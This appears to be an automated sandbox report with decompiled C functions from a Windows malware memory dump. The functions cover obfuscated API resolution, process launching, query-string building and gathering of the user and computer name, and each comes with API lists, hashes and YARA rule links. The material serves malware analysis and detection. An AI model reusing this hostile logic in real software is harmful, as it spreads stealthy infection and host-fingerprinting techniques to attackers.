				_v16 = _t139[5] + 0x2d70000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x2d70002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x2d7d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x2d7d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x2d7d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x2d7d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x2d7d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t138 = LoadLibraryA(_v60);
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x2d7d198; // 0x0
										 *_t102 = _t125;
										 *0x2d7d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x2d7d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x02d7adf4
0x02d7ae0a
0x02d7ae10
0x02d7ae12
0x02d7ae17
0x02d7ae1d
0x02d7ae22
0x02d7ae25
0x02d7ae33
0x02d7ae3a
0x02d7ae3d
0x02d7ae40
0x02d7ae41
0x02d7ae44
0x02d7ae47
0x02d7ae4a
0x02d7ae4f
0x02d7ae5e
0x00000000
0x02d7ae64
0x02d7ae6e
0x02d7ae78
0x02d7ae7d
0x02d7ae7f
0x02d7ae89
0x02d7ae8c
0x02d7ae8f
0x02d7ae95
0x02d7ae97
0x02d7ae97
0x02d7ae9a
0x02d7ae9d
0x02d7aea2
0x02d7aea6
0x02d7aeb9
0x02d7aebb
0x02d7af63
0x02d7af63
0x02d7af6a
0x02d7af6d
0x02d7af77
0x02d7af77
0x02d7af7b
0x02d7aff9
0x02d7affc
0x02d7affe
0x02d7affe
0x02d7b005
0x02d7b007
0x02d7b011
0x02d7b014
0x02d7b017
0x02d7b017
0x00000000
0x02d7af7d
0x02d7af80
0x02d7afae
0x02d7afb8
0x02d7afbc
0x02d7afc4
0x02d7afc7
0x02d7afce
0x02d7afd8
0x02d7afd8
0x02d7afdc
0x02d7afe1
0x02d7aff0
0x02d7aff6
0x02d7aff6
0x02d7afdc
0x00000000
0x02d7af87
0x02d7af8a
0x02d7af92
0x02d7afa7
0x02d7afac
0x00000000
0x00000000
0x02d7afac
0x00000000
0x02d7af92
0x02d7af80
0x02d7af7b
0x02d7aec1
0x02d7aec8
0x02d7aed8
0x02d7aee1
0x02d7aee5
0x02d7af28
0x02d7af34
0x02d7af5d
0x02d7af36
0x02d7af3a
0x02d7af40
0x02d7af48
0x02d7af4a
0x02d7af4d
0x02d7af53
0x02d7af55
0x02d7af55
0x02d7af48
0x02d7af3a
0x00000000
0x02d7af34
0x02d7aeed
0x02d7aef0
0x02d7aef7
0x02d7af07
0x02d7af0a
0x02d7af1a
0x00000000
0x02d7af20
0x02d7af01
0x02d7af05
0x00000000
0x00000000
0x00000000
0x02d7af05
0x02d7aed2
0x02d7aed6
0x00000000
0x00000000
0x00000000
0x02d7aed6
0x02d7aeaf
0x02d7aeb3
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 02D7AE5E
LoadLibraryA.KERNEL32(?), ref: 02D7AEDB
GetLastError.KERNEL32 ref: 02D7AEE7
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 02D7AF1A

Strings

$, xrefs: 02D7AE33

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 575492d03d5091363b1be288b2c9609652a1f602ea418127be5a15e82b9a98bf
Instruction ID: 7c3e672e772b10cbc4c55fa2831021a2eb34f076a83eee2cd45d74d46df9b554
Opcode Fuzzy Hash: 575492d03d5091363b1be288b2c9609652a1f602ea418127be5a15e82b9a98bf
Instruction Fuzzy Hash: 0581F7B1A40205AFDB24CFA8D884BAEB7F5AF48314F14852AF945E7380E778ED45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02D7816C, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E02D7816C(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x2d7d33c; // 0x5129bd8
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E02D770F5(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x2d7c1ac;
				}
				_t46 = E02D78022(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E02D72049(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x2d7d27c; // 0x23aa5a8
						_t16 = _t75 + 0x2d7eb28; // 0x530025
						 *0x2d7d11c(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E02D770F5(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x2d7c1b0;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E02D72049(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E02D79039(_v20);
						} else {
							_t66 =  *0x2d7d27c; // 0x23aa5a8
							_t31 = _t66 + 0x2d7ec48; // 0x73006d
							 *0x2d7d11c(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E02D79039(_v12);
				}
				return _v24;
			}

0x02d78174
0x02d7817a
0x02d78181
0x02d78187
0x02d7818b
0x02d7818f
0x02d78192
0x02d78199
0x02d7819c
0x02d7819e
0x02d7819e
0x02d781a7
0x02d781ae
0x02d781b1
0x02d781b7
0x02d781c1
0x02d781ca
0x02d781d1
0x02d781ea
0x02d781f1
0x02d781f4
0x02d781fd
0x02d78206
0x02d78217
0x02d78220
0x02d78224
0x02d78228
0x02d7822f
0x02d78232
0x02d78234
0x02d78234
0x02d7823e
0x02d78247
0x02d7824e
0x02d78266
0x02d7826a
0x02d782a7
0x02d7826c
0x02d7826f
0x02d78277
0x02d78288
0x02d78294
0x02d7829c
0x02d782a0
0x02d782a0
0x02d7826a
0x02d782af
0x02d782b4
0x02d782bb

APIs

GetTickCount.KERNEL32 ref: 02D78181
lstrlen.KERNEL32(?,80000002,00000005), ref: 02D781C1
lstrlen.KERNEL32(00000000), ref: 02D781CA
lstrlen.KERNEL32(00000000), ref: 02D781D1
lstrlenW.KERNEL32(80000002), ref: 02D781DE
lstrlen.KERNEL32(?,00000004), ref: 02D7823E
lstrlen.KERNEL32(?), ref: 02D78247
lstrlen.KERNEL32(?), ref: 02D7824E
lstrlenW.KERNEL32(?), ref: 02D78255

Part of subcall function 02D79039: HeapFree.KERNEL32(00000000,00000000,02D77F18,00000000,?,?,00000000), ref: 02D79045

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: abce30d46f6a901479f93a13376ffbf84973b55dd0412d0fda1f6899368a4d40
Instruction ID: 1c9085bb34b0253868f1e50a684b07d7c7fb1bfb373a4a916480ce18086aa48b
Opcode Fuzzy Hash: abce30d46f6a901479f93a13376ffbf84973b55dd0412d0fda1f6899368a4d40
Instruction Fuzzy Hash: 30412872900119EFDF11AFA4CD09A9EBBB6EF48314F154051ED04A7321E7399E25EFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D7205E, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E02D7205E(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E02D7692C(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E02D7A8D8( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x2d7d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x2d7d27c; // 0x23aa5a8
					_t18 = _t47 + 0x2d7e3e6; // 0x73797325
					_t68 = E02D795B1(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x2d7d27c; // 0x23aa5a8
						_t19 = _t50 + 0x2d7e747; // 0x5128cef
						_t20 = _t50 + 0x2d7e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E02D784D5();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E02D784D5();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x2d7d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E02D79039(_t70);
				goto L12;
			}

0x02d72066
0x02d72066
0x02d72075
0x02d7207e
0x02d72081
0x02d7218e
0x02d72195
0x02d72195
0x02d72090
0x02d72098
0x02d7209d
0x02d720a0
0x02d720b5
0x02d720bb
0x02d720bc
0x02d720bf
0x02d720c5
0x02d720c8
0x02d720cd
0x02d720d5
0x02d720e1
0x02d720e5
0x02d72175
0x02d720eb
0x02d720eb
0x02d720f0
0x02d720f7
0x02d7210b
0x02d7210f
0x02d7215e
0x02d72111
0x02d72112
0x02d72119
0x02d72132
0x02d72134
0x02d72138
0x02d7213f
0x02d72159
0x02d72141
0x02d7214a
0x02d7214f
0x02d7214f
0x02d7213f
0x02d7216d
0x02d7216d
0x02d720e5
0x02d7217c
0x02d72185
0x02d72189
0x00000000

APIs

Part of subcall function 02D7692C: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,02D7207A,?,00000001,?,?,00000000,00000000), ref: 02D76951
Part of subcall function 02D7692C: GetProcAddress.KERNEL32(00000000,7243775A), ref: 02D76973
Part of subcall function 02D7692C: GetProcAddress.KERNEL32(00000000,614D775A), ref: 02D76989
Part of subcall function 02D7692C: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 02D7699F
Part of subcall function 02D7692C: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 02D769B5
Part of subcall function 02D7692C: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 02D769CB

memset.NTDLL ref: 02D720C8

Part of subcall function 02D795B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,02D723E9,63699BCE,02D71354,73797325), ref: 02D795C2
Part of subcall function 02D795B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 02D795DC

GetModuleHandleA.KERNEL32(4E52454B,05128CEF,73797325), ref: 02D720FE
GetProcAddress.KERNEL32(00000000), ref: 02D72105
HeapFree.KERNEL32(00000000,00000000), ref: 02D7216D

Part of subcall function 02D784D5: GetProcAddress.KERNEL32(36776F57,02D721E5), ref: 02D784F0

CloseHandle.KERNEL32(00000000,00000001), ref: 02D7214A
CloseHandle.KERNEL32(?), ref: 02D7214F
GetLastError.KERNEL32(00000001), ref: 02D72153

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: ffc37f673b8adf15f358a1aeac56c1cd6dd2ca98dc5d8d76d1fa58563b3df877
Instruction ID: b3e3a01e58b3ff13314f41c0d5048168f77b8035371e61a077a96f24837548c1
Opcode Fuzzy Hash: ffc37f673b8adf15f358a1aeac56c1cd6dd2ca98dc5d8d76d1fa58563b3df877
Instruction Fuzzy Hash: B7311072C00208BFDB109FA4DC88D9EBBBDEF08354F114466EA05A7310E7399E59DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D78307, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E02D78307(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x2d7d27c; // 0x23aa5a8
				_t1 = _t9 + 0x2d7e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E02D79401(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E02D72049(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E02D77225(_t34, _t41, _a8);
						E02D79039(_t41);
						_t42 = E02D78E82(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E02D79039(_t36);
							_t36 = _t42;
						}
						_t43 = E02D7788B(_t36, _t33);
						if(_t43 != 0) {
							E02D79039(_t36);
							_t36 = _t43;
						}
					}
					E02D79039(_t28);
				}
				return _t36;
			}

0x02d78307
0x02d7830a
0x02d7830b
0x02d78313
0x02d7831a
0x02d78321
0x02d78325
0x02d7832b
0x02d78332
0x02d78337
0x02d78349
0x02d7834d
0x02d78351
0x02d78357
0x02d7835c
0x02d7836c
0x02d7836e
0x02d78385
0x02d78389
0x02d7838c
0x02d78391
0x02d78391
0x02d7839a
0x02d7839e
0x02d783a1
0x02d783a6
0x02d783a6
0x02d7839e
0x02d783a9
0x02d783a9
0x02d783b4

APIs

Part of subcall function 02D79401: lstrlen.KERNEL32(00000000,00000000,00000000,7742C740,?,?,?,02D78321,253D7325,00000000,00000000,7742C740,?,?,02D7A428,?), ref: 02D79468
Part of subcall function 02D79401: sprintf.NTDLL ref: 02D79489

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,02D7A428,?,051295B0), ref: 02D78332
lstrlen.KERNEL32(?,?,?,02D7A428,?,051295B0), ref: 02D7833A

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

strcpy.NTDLL ref: 02D78351
lstrcat.KERNEL32(00000000,?), ref: 02D7835C

Part of subcall function 02D77225: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,02D7836B,00000000,?,?,?,02D7A428,?,051295B0), ref: 02D7723C

Part of subcall function 02D79039: HeapFree.KERNEL32(00000000,00000000,02D77F18,00000000,?,?,00000000), ref: 02D79045

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,02D7A428,?,051295B0), ref: 02D78379

Part of subcall function 02D78E82: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,02D78385,00000000,?,?,02D7A428,?,051295B0), ref: 02D78E8C
Part of subcall function 02D78E82: _snprintf.NTDLL ref: 02D78EEA

Strings

=, xrefs: 02D78373

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: feae502e8aea861bd4544578c99fc6f42edb1a90c543e01bb6be0b5ff160779a
Instruction ID: 60f6be5911c1352e1c02d3cdd1cc3d52b940e974af925043bb04640569bd2e18
Opcode Fuzzy Hash: feae502e8aea861bd4544578c99fc6f42edb1a90c543e01bb6be0b5ff160779a
Instruction Fuzzy Hash: 75119433911124AB46217BB9EC48CAE379EDF45664B15441AF904D7300FB3DCD06ABF1

Uniqueness

Uniqueness Score: -1.00%

Function 02D76CC3, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 02D76D1F
SysAllocString.OLEAUT32(0070006F), ref: 02D76D33
SysAllocString.OLEAUT32(00000000), ref: 02D76D45
SysFreeString.OLEAUT32(00000000), ref: 02D76DA9
SysFreeString.OLEAUT32(00000000), ref: 02D76DB8
SysFreeString.OLEAUT32(00000000), ref: 02D76DC3

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 14d151d3503a86ee261d7eb0b73af82803ed7ddbb655d193971a93dbfa0850f4
Instruction ID: 78dcc745b8d84578aa9e1c1481beddd331ab55b0912a6a177c8bf5ab53ecd183
Opcode Fuzzy Hash: 14d151d3503a86ee261d7eb0b73af82803ed7ddbb655d193971a93dbfa0850f4
Instruction Fuzzy Hash: E4314F32D10A09AFDF01EFB9C844A9EB7BAAF49314F144465E914EB210FB75DD0ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 02D7692C, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D7692C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E02D72049(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x2d7d27c; // 0x23aa5a8
					_t1 = _t23 + 0x2d7e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x2d7d27c; // 0x23aa5a8
					_t2 = _t26 + 0x2d7e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E02D79039(_t54);
					} else {
						_t30 =  *0x2d7d27c; // 0x23aa5a8
						_t5 = _t30 + 0x2d7e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x2d7d27c; // 0x23aa5a8
							_t7 = _t33 + 0x2d7e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x2d7d27c; // 0x23aa5a8
								_t9 = _t36 + 0x2d7e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x2d7d27c; // 0x23aa5a8
									_t11 = _t39 + 0x2d7e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E02D7727B(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x02d7693b
0x02d7693f
0x02d76a01
0x02d76945
0x02d76945
0x02d7694a
0x02d7695d
0x02d7695f
0x02d76964
0x02d7696c
0x02d76973
0x02d76977
0x02d7697a
0x02d769f9
0x02d769fa
0x02d7697c
0x02d7697c
0x02d76981
0x02d76989
0x02d7698d
0x02d76990
0x00000000
0x02d76992
0x02d76992
0x02d76997
0x02d7699f
0x02d769a3
0x02d769a6
0x00000000
0x02d769a8
0x02d769a8
0x02d769ad
0x02d769b5
0x02d769b9
0x02d769bc
0x00000000
0x02d769be
0x02d769be
0x02d769c3
0x02d769cb
0x02d769cf
0x02d769d2
0x00000000
0x02d769d4
0x02d769da
0x02d769df
0x02d769e6
0x02d769ed
0x02d769f0
0x00000000
0x02d769f2
0x02d769f5
0x02d769f5
0x02d769f0
0x02d769d2
0x02d769bc
0x02d769a6
0x02d76990
0x02d7697a
0x02d76a0f

APIs

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,02D7207A,?,00000001,?,?,00000000,00000000), ref: 02D76951
GetProcAddress.KERNEL32(00000000,7243775A), ref: 02D76973
GetProcAddress.KERNEL32(00000000,614D775A), ref: 02D76989
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 02D7699F
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 02D769B5
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 02D769CB

Part of subcall function 02D7727B: memset.NTDLL ref: 02D772FA

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: 8ea1bb395e5b17c19858c7a13c1775858e0574956494688a1700f8121178b342
Instruction ID: cfacf9f1e975429ad33e0867614bf94f9b134f7704e2edf124f0b58481272774
Opcode Fuzzy Hash: 8ea1bb395e5b17c19858c7a13c1775858e0574956494688a1700f8121178b342
Instruction Fuzzy Hash: 49211CB154160ADFDB20DFB9D844E5A77ECEB08354B02856AE645C7310F738EE05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D77649, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D77649() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E02D72049(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E02D79039(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x2d7a33a
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x02d77657
0x02d7765a
0x02d7765d
0x02d77663
0x02d77668
0x02d7766e
0x02d77676
0x02d77679
0x02d7767f
0x02d77684
0x02d77691
0x02d7769e
0x02d776a2
0x02d776a4
0x02d776a8
0x02d776ab
0x02d776bb
0x02d7770d
0x02d7770e
0x02d776bd
0x02d776c0
0x02d776c7
0x02d776ca
0x02d776dd
0x00000000
0x02d776df
0x02d776e2
0x02d776e7
0x02d776f5
0x02d776f8
0x02d77700
0x02d77703
0x00000000
0x02d77705
0x02d77705
0x02d77708
0x02d77708
0x02d77703
0x02d776dd
0x02d77713
